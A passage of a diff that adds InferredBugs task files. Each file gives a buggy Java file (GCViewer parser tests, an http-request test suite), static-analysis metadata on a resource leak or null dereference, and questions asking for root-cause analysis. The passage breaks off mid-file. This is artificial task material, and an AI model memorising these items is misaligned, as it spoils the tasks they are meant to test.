+			InputStreamReader isr = new InputStreamReader (System.in);
+			BufferedReader br = new BufferedReader (isr);
+			response = br.readLine();
+		} catch (IOException e){
+			System.err.println("Error reading keyboard, program complete");
+			System.exit(-1);
+		}
+		return response;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintWriter` acquired by call to `new()` at line 31 is not released after line 42.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void IOClass.writeFileTxt(String,java.lang.String[])
+
+### Procedure Id:
+IOClass.writeFileTxt(java.lang.String,java.lang.String[]):void.14905f53a789b2eb1ddf894012979f91
+
+### File:
+src/main/java/IOClass.java
+
+### Key:
+IOClass.java|writeFileTxt|RESOURCE_LEAK
+
+### Node Key:
+e51514e1868709acbc6a21f9dc970738
+
+### Hash:
+444a323245cec6d46e5a420214fdf1f6
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8504/instruction.md b/inferredbugs-8504/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8d3ca9a90182dc5a4e108b4cc969fbd1aec05225
--- /dev/null
+++ b/inferredbugs-8504/instruction.md
@@ -0,0 +1,148 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** GCViewer
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.tagtraum.perf.gcviewer.imp;
+
+import static com.tagtraum.perf.gcviewer.UnittestHelper.toKiloBytes;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.number.IsCloseTo.closeTo;
+import static org.junit.Assert.assertThat;
+
+import java.io.InputStream;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import com.tagtraum.perf.gcviewer.UnittestHelper;
+import com.tagtraum.perf.gcviewer.model.GCEvent;
+import com.tagtraum.perf.gcviewer.model.GCModel;
+import org.junit.Test;
+
+/**
+ * Tests some J9_R26 sample files against the IBM J9 parser.
+ */
+public class TestDataReaderIBM_J9_R26 {
+    private static final Logger IMP_LOGGER = Logger.getLogger("com.tagtraum.perf.gcviewer.imp");
+    private static final Logger DATA_READER_FACTORY_LOGGER = Logger.getLogger("com.tagtraum.perf.gcviewer.DataReaderFactory");
+
+    @Test
+    public void testFullHeaderWithAfGcs() throws Exception {
+        TestLogHandler handler = new TestLogHandler();
+        handler.setLevel(Level.WARNING);
+        IMP_LOGGER.addHandler(handler);
+        DATA_READER_FACTORY_LOGGER.addHandler(handler);
+
+        InputStream in = UnittestHelper.getResourceAsStream(UnittestHelper.FOLDER_IBM, "SampleIBMJ9_R26_GAFP1_full_header.txt");
+        DataReader reader = new DataReaderIBM_J9_R28(in);
+        GCModel model = reader.read();
+
+        assertThat("model size", model.size(), is(1));
+
+        GCEvent event = (GCEvent) model.get(0);
+        assertThat("pause", event.getPause(), closeTo(0.00529, 0.0000001));
+
+        assertThat("number of errors", handler.getCount(), is(1));
+    }
+
+    @Test
+    public void testSystemGc() throws Exception {
+        TestLogHandler handler = new TestLogHandler();
+        handler.setLevel(Level.WARNING);
+        IMP_LOGGER.addHandler(handler);
+        DATA_READER_FACTORY_LOGGER.addHandler(handler);
+
+        InputStream in = UnittestHelper.getResourceAsStream(UnittestHelper.FOLDER_IBM, "SampleIBMJ9_R26_GAFP1_global.txt");
+        DataReader reader = new DataReaderIBM_J9_R28(in);
+        GCModel model = reader.read();
+
+        assertThat("model size", model.size(), is(1));
+
+        GCEvent event = (GCEvent) model.get(0);
+        assertThat("pause", event.getPause(), closeTo(0.036392, 0.0000001));
+
+        assertThat("total before", event.getTotal(), is(toKiloBytes(514064384)));
+        assertThat("free before", event.getPreUsed(), is(toKiloBytes(514064384 - 428417552)));
+        assertThat("free after", event.getPostUsed(), is(toKiloBytes(514064384 - 479900360)));
+
+        assertThat("total young before", event.getYoung().getTotal(), is(toKiloBytes(111411200)));
+        assertThat("young before", event.getYoung().getPreUsed(), is(toKiloBytes(111411200 - 29431656)));
+        assertThat("young after", event.getYoung().getPostUsed(), is(toKiloBytes(111411200 - 80831520)));
+
+        assertThat("total tenured before", event.getTenured().getTotal(), is(toKiloBytes(402653184)));
+        assertThat("tenured before", event.getTenured().getPreUsed(), is(toKiloBytes(402653184 - 398985896)));
+        assertThat("tenured after", event.getTenured().getPostUsed(), is(toKiloBytes(402653184 - 399068840)));
+
+        assertThat("number of errors", handler.getCount(), is(0));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `event.getYoung()` could be null and is dereferenced at line 63.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestDataReaderIBM_J9_R26.testSystemGc()
+
+### Procedure Id:
+com.tagtraum.perf.gcviewer.imp.TestDataReaderIBM_J9_R26.testSystemGc():void.838e0964f7892bc5856eed41d69f9485
+
+### File:
+src/test/java/com/tagtraum/perf/gcviewer/imp/TestDataReaderIBM_J9_R26.java
+
+### Key:
+TestDataReaderIBM_J9_R26.java|testSystemGc|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+9e3fc49dc98ddb4cb62677f4ac55a333
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8505/instruction.md b/inferredbugs-8505/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..584b1070d19c5c3bd2ab4a11ab82bdcfe3b2190d
--- /dev/null
+++ b/inferredbugs-8505/instruction.md
@@ -0,0 +1,153 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** GCViewer
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.tagtraum.perf.gcviewer.imp;
+
+import static com.tagtraum.perf.gcviewer.UnittestHelper.toKiloBytes;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.number.IsCloseTo.closeTo;
+import static org.junit.Assert.assertThat;
+
+import java.io.InputStream;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import com.tagtraum.perf.gcviewer.UnittestHelper;
+import com.tagtraum.perf.gcviewer.model.GCEvent;
+import com.tagtraum.perf.gcviewer.model.GCModel;
+import org.junit.Test;
+
+/**
+ * @author <a href="gcviewer@gmx.ch">Joerg Wuethrich</a>
+ *         <p>created on 08.10.2014</p>
+ */
+public class TestDataReaderIBM_J9_R27 {
+    private static final Logger IMP_LOGGER = Logger.getLogger("com.tagtraum.perf.gcviewer.imp");
+    private static final Logger DATA_READER_FACTORY_LOGGER = Logger.getLogger("com.tagtraum.perf.gcviewer.DataReaderFactory");
+
+    @Test
+    public void testFullHeaderWithAfGcs() throws Exception {
+        TestLogHandler handler = new TestLogHandler();
+        handler.setLevel(Level.WARNING);
+        IMP_LOGGER.addHandler(handler);
+        DATA_READER_FACTORY_LOGGER.addHandler(handler);
+
+        InputStream in = UnittestHelper.getResourceAsStream(UnittestHelper.FOLDER_IBM, "SampleIBMJ9_R27_SR1_full_header.txt");
+        DataReader reader = new DataReaderIBM_J9_R28(in);
+        GCModel model = reader.read();
+        
+        assertThat("model size", model.size(), is(3));
+
+        GCEvent event = (GCEvent) model.get(0);
+        assertThat("pause", event.getPause(), closeTo(0.042303, 0.0000001));
+
+        assertThat("total before", event.getTotal(), is(toKiloBytes(1073741824)));
+        assertThat("free before", event.getPreUsed(), is(toKiloBytes(1073741824 - 804158480)));
+        assertThat("free after", event.getPostUsed(), is(toKiloBytes(1073741824 - 912835672)));
+
+        assertThat("total young before", event.getYoung().getTotal(), is(toKiloBytes(268435456)));
+        assertThat("young before", event.getYoung().getPreUsed(), is(toKiloBytes(268435456)));
+        assertThat("young after", event.getYoung().getPostUsed(), is(toKiloBytes(268435456 - 108677192)));
+
+        assertThat("total tenured before", event.getTenured().getTotal(), is(toKiloBytes(805306368)));
+        assertThat("tenured before", event.getTenured().getPreUsed(), is(toKiloBytes(805306368 - 804158480)));
+        assertThat("tenured after", event.getTenured().getPostUsed(), is(toKiloBytes(805306368 - 804158480)));
+
+        assertThat("timestamp 1", event.getTimestamp(), closeTo(0.0, 0.0001));
+        assertThat("timestamp 2", model.get(1).getTimestamp(), closeTo(1.927, 0.0001));
+        assertThat("timestamp 3", model.get(2).getTimestamp(), closeTo(3.982, 0.0001));
+
+        assertThat("number of errors", handler.getCount(), is(1));
+    }
+
+    @Test
+    public void testSystemGc() throws Exception {
+        TestLogHandler handler = new TestLogHandler();
+        handler.setLevel(Level.WARNING);
+        IMP_LOGGER.addHandler(handler);
+        DATA_READER_FACTORY_LOGGER.addHandler(handler);
+
+        InputStream in = UnittestHelper.getResourceAsStream(UnittestHelper.FOLDER_IBM, "SampleIBMJ9_R27_SR1_global.txt");
+        DataReader reader = new DataReaderIBM_J9_R28(in);
+        GCModel model = reader.read();
+
+        assertThat("model size", model.size(), is(1));
+
+        GCEvent event = (GCEvent) model.get(0);
+        assertThat("pause", event.getPause(), closeTo(0.075863, 0.0000001));
+
+        assertThat("number of errors", handler.getCount(), is(0));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `event.getYoung()` could be null and is dereferenced at line 45.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestDataReaderIBM_J9_R27.testFullHeaderWithAfGcs()
+
+### Procedure Id:
+com.tagtraum.perf.gcviewer.imp.TestDataReaderIBM_J9_R27.testFullHeaderWithAfGcs():void.c11cb34e714adb0e02c59c423f7c4724
+
+### File:
+src/test/java/com/tagtraum/perf/gcviewer/imp/TestDataReaderIBM_J9_R27.java
+
+### Key:
+TestDataReaderIBM_J9_R27.java|testFullHeaderWithAfGcs|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+3a17e19f8394a1c161a37d87dfdb7dab
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8532/instruction.md b/inferredbugs-8532/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8410cb066217f5d502ffe08a41e0e1287db34ba8
--- /dev/null
+++ b/inferredbugs-8532/instruction.md
@@ -0,0 +1,3680 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** http-request
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2011 Kevin Sawicki <kevinsawicki@gmail.com>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to
+ * deal in the Software without restriction, including without limitation the
+ * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+ * sell copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+package com.github.kevinsawicki.http;
+
+import static com.github.kevinsawicki.http.HttpRequest.CHARSET_UTF8;
+import static com.github.kevinsawicki.http.HttpRequest.delete;
+import static com.github.kevinsawicki.http.HttpRequest.encode;
+import static com.github.kevinsawicki.http.HttpRequest.get;
+import static com.github.kevinsawicki.http.HttpRequest.head;
+import static com.github.kevinsawicki.http.HttpRequest.options;
+import static com.github.kevinsawicki.http.HttpRequest.post;
+import static com.github.kevinsawicki.http.HttpRequest.put;
+import static com.github.kevinsawicki.http.HttpRequest.trace;
+import static java.net.HttpURLConnection.HTTP_BAD_REQUEST;
+import static java.net.HttpURLConnection.HTTP_CREATED;
+import static java.net.HttpURLConnection.HTTP_INTERNAL_ERROR;
+import static java.net.HttpURLConnection.HTTP_NOT_MODIFIED;
+import static java.net.HttpURLConnection.HTTP_OK;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import com.github.kevinsawicki.http.HttpRequest.HttpRequestException;
+import com.github.kevinsawicki.http.HttpRequest.ConnectionFactory;
+import com.github.kevinsawicki.http.HttpRequest.ProgressCallback;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PrintStream;
+import java.io.StringWriter;
+import java.io.UnsupportedEncodingException;
+import java.io.Writer;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicLong;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.zip.GZIPOutputStream;
+
+import javax.net.ssl.HttpsURLConnection;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.util.B64Code;
+import org.junit.After;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+/**
+ * Unit tests of {@link HttpRequest}
+ */
+public class HttpRequestTest extends ServerTestCase {
+
+  private static String url;
+
+  private static RequestHandler handler;
+
+  /**
+   * Set up server
+   *
+   * @throws Exception
+   */
+  @BeforeClass
+  public static void startServer() throws Exception {
+    url = setUp(new RequestHandler() {
+
+      @Override
+      public void handle(String target, Request baseRequest,
+          HttpServletRequest request, HttpServletResponse response)
+          throws IOException, ServletException {
+        if (handler != null)
+          handler.handle(target, baseRequest, request, response);
+      }
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        if (handler != null)
+          handler.handle(request, response);
+      }
+    });
+  }
+
+  /**
+   * Clear handler
+   */
+  @After
+  public void clearHandler() {
+    handler = null;
+  }
+
+  /**
+   * Create request with malformed URL
+   */
+  @Test(expected = HttpRequestException.class)
+  public void malformedStringUrl() {
+    get("\\m/");
+  }
+
+  /**
+   * Create request with malformed URL
+   */
+  @Test
+  public void malformedStringUrlCause() {
+    try {
+      delete("\\m/");
+      fail("Exception not thrown");
+    } catch (HttpRequestException e) {
+      assertNotNull(e.getCause());
+    }
+  }
+
+  /**
+   * Set request buffer size to negative value
+   */
+  @Test(expected = IllegalArgumentException.class)
+  public void negativeBufferSize() {
+    get("http://localhost").bufferSize(-1);
+  }
+
+  /**
+   * Make a GET request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url);
+    assertNotNull(request.getConnection());
+    assertEquals(30000, request.readTimeout(30000).getConnection()
+        .getReadTimeout());
+    assertEquals(50000, request.connectTimeout(50000).getConnection()
+        .getConnectTimeout());
+    assertEquals(2500, request.bufferSize(2500).bufferSize());
+    assertFalse(request.ignoreCloseExceptions(false).ignoreCloseExceptions());
+    assertFalse(request.useCaches(false).getConnection().getUseCaches());
+    int code = request.code();
+    assertTrue(request.ok());
+    assertFalse(request.created());
+    assertFalse(request.badRequest());
+    assertFalse(request.serverError());
+    assertFalse(request.notFound());
+    assertFalse(request.notModified());
+    assertEquals("GET", method.get());
+    assertEquals("OK", request.message());
+    assertEquals(HTTP_OK, code);
+    assertEquals("", request.body());
+    assertNotNull(request.toString());
+    assertFalse(request.toString().length() == 0);
+    assertEquals(request, request.disconnect());
+    assertTrue(request.isBodyEmpty());
+    assertEquals(request.url().toString(), url);
+    assertEquals("GET", request.method());
+  }
+
+  /**
+   * Make a GET request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(new URL(url));
+    assertNotNull(request.getConnection());
+    int code = request.code();
+    assertTrue(request.ok());
+    assertFalse(request.created());
+    assertFalse(request.badRequest());
+    assertFalse(request.serverError());
+    assertFalse(request.notFound());
+    assertEquals("GET", method.get());
+    assertEquals("OK", request.message());
+    assertEquals(HTTP_OK, code);
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a GET request with a URL that needs encoding
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getUrlEncodedWithSpace() throws Exception {
+    String unencoded = "/a resource";
+    final AtomicReference<String> path = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        path.set(request.getPathInfo());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(encode(url + unencoded));
+    assertTrue(request.ok());
+    assertEquals(unencoded, path.get());
+  }
+
+  /**
+   * Make a GET request with a URL that needs encoding
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getUrlEncodedWithUnicode() throws Exception {
+    String unencoded = "/\u00DF";
+    final AtomicReference<String> path = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        path.set(request.getPathInfo());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(encode(url + unencoded));
+    assertTrue(request.ok());
+    assertEquals(unencoded, path.get());
+  }
+
+  /**
+   * Make a GET request with a URL that needs encoding
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getUrlEncodedWithPercent() throws Exception {
+    String unencoded = "/%";
+    final AtomicReference<String> path = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        path.set(request.getPathInfo());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(encode(url + unencoded));
+    assertTrue(request.ok());
+    assertEquals(unencoded, path.get());
+  }
+
+  /**
+   * Make a DELETE request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void deleteEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = delete(url);
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("DELETE", method.get());
+    assertEquals("", request.body());
+    assertEquals("DELETE", request.method());
+  }
+
+  /**
+   * Make a DELETE request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void deleteUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = delete(new URL(url));
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("DELETE", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make an OPTIONS request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void optionsEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = options(url);
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("OPTIONS", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make an OPTIONS request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void optionsUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = options(new URL(url));
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("OPTIONS", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a HEAD request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = head(url);
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("HEAD", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a HEAD request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = head(new URL(url));
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("HEAD", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a PUT request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void putEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = put(url);
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("PUT", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a PUT request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void putUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = put(new URL(url));
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("PUT", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a PUT request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void traceEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = trace(url);
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("TRACE", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a TRACE request with an empty body response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void traceUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = trace(new URL(url));
+    assertNotNull(request.getConnection());
+    assertTrue(request.ok());
+    assertFalse(request.notFound());
+    assertEquals("TRACE", method.get());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Make a POST request with an empty request body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_CREATED);
+      }
+    };
+    HttpRequest request = post(url);
+    int code = request.code();
+    assertEquals("POST", method.get());
+    assertFalse(request.ok());
+    assertTrue(request.created());
+    assertEquals(HTTP_CREATED, code);
+  }
+
+  /**
+   * Make a POST request with an empty request body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postUrlEmpty() throws Exception {
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        response.setStatus(HTTP_CREATED);
+      }
+    };
+    HttpRequest request = post(new URL(url));
+    int code = request.code();
+    assertEquals("POST", method.get());
+    assertFalse(request.ok());
+    assertTrue(request.created());
+    assertEquals(HTTP_CREATED, code);
+  }
+
+  /**
+   * Make a POST request with a non-empty request body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postNonEmptyString() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    int code = post(url).send("hello").code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Make a POST request with a non-empty request body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postNonEmptyFile() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    File file = File.createTempFile("post", ".txt");
+    new FileWriter(file).append("hello").close();
+    int code = post(url).send(file).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Make a POST request with multiple files in the body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postMultipleFiles() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    File file1 = File.createTempFile("post", ".txt");
+    new FileWriter(file1).append("hello").close();
+
+    File file2 = File.createTempFile("post", ".txt");
+    new FileWriter(file2).append(" world").close();
+
+    int code = post(url).send(file1).send(file2).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("hello world", body.get());
+  }
+
+  /**
+   * Make a POST request with a non-empty request body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postNonEmptyReader() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    File file = File.createTempFile("post", ".txt");
+    new FileWriter(file).append("hello").close();
+    int code = post(url).send(new FileReader(file)).code();
+    assertEquals(HTTP_OK, code);
